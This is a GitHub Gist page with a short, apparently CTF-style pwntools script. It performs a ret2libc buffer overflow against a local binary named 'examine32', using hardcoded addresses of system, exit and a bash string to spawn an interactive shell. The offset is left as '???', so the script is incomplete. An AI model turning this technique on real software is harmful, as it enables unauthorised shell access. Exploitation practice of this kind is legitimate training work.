Last active
April 12, 2018 22:08
-
-
Save caioluders/cd2a2abf738cb457f80023dd1456c70e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
p = process("./examine32") | |
system = 0xf7e19e70 | |
exit = 0xf7e0cf50 | |
bash = 0xf7f39fcc | |
offset = ??? | |
exploit = "A"*offset+p32(system)+p32(exit)+p32(bash)+"\xff" | |
p.sendline(exploit) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment